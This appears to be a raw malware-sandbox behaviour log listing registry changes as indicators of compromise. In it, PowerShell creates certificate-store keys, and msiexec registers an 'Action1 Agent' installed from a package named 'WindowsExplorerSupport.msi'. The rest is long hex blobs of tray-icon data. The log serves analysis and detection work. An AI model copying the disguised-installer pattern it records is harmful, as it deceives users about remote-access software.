powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\28 msiexec.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe - Modifies registry class 64 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Root\CTLs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "960" SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\InstanceType = "0" msiexec.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\PersistedTitleBarData\Microsoft.MicrosoftStickyNotes_8wekyb3d8 = "1" explorer.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\trust\CTLs SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\Total SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\Language = "1033" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\Version = "100663959" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\CA\CRLs SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "4055" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "960" SearchHost.exe Key created \REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-650218026-1419908266-2856590055-1000\{F9CA5AA7-FE06-4031-A4CA-72D3E73E16E1} explorer.exe Set value (data) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy\ApplicationFrame\Microsoft.Windows.PeopleExperienceHos = 6801000088020000 explorer.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "4695" SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\AuthorizedLUAApp = "0" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\Net\1 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\PackageCode = "81C14EA1C70A29548B25BAE2F3846108" msiexec.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\Assignment = "1" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\ProductIcon = "C:\\Windows\\Installer\\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\\ProductIcon" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\PackageName = "WindowsExplorerSupport.msi" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\ explorer.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\MuiCache SearchHost.exe Set value (str) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\History\CachePrefix = "Visited:" SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\EdpDomStorage\www.bing.com SearchHost.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896 msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\ProductName = "Action1 Agent" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\Net msiexec.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\MuiCache StartMenuExperienceHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\trust\CRLs SearchHost.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\DeploymentFlags = "3" msiexec.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\3187685C39AD9D04484F43F57B7D8C2B msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Settings\Cache\Cookies\CachePrefix = "Cookie:" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total\ = "3118" SearchHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\IconStreams = 140000000700000001000100050000001400000050003a005c00480066007200650066005c004e0071007a00760061005c004e006300630051006e0067006e005c005900620070006e0079005c005a00760070006500620066006200730067005c00420061007200510065007600690072005c00420061007200510065007600690072002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f50100000000000000000000ea070100420061007200510065007600690072000a004100620067002000660076007400610072007100200076006100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000362d6e69af91dc0100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000ea070100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff75ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000030000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000ea070100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff81ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000ea070100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff82ae2078e323294282c1e41cb67d5b9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000010000007b005300330038004f0053003400300034002d0031005100340033002d0034003200530032002d0039003300300035002d00360037005100520030004f003200380053005000320033007d005c0072006b006300790062006500720065002e0072006b00720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000ea070100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff83ae2078e323294282c1e41cb67d5b9c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 explorer.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\AdvertiseFlags = "388" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\462C9C7A3EAE5C44382B5E187EBF5896\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\" msiexec.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\PersistedTitleBarData explorer.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\Root\Certificates SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\trust SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Software\Microsoft\SystemCertificates\trust\Certificates SearchHost.exe Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\Total SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\www.bing.com\ = "23" SearchHost.exe Set value (int) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\bing.com\Total = "23" SearchHost.exe Set value (data) \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify\PastIconsStream = 1400000005000000010001000200000014000000494c200602000400540010001000ffffffff2110ffffffffffffffff424d3600000000000000360000002800000010000000400000000100200000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000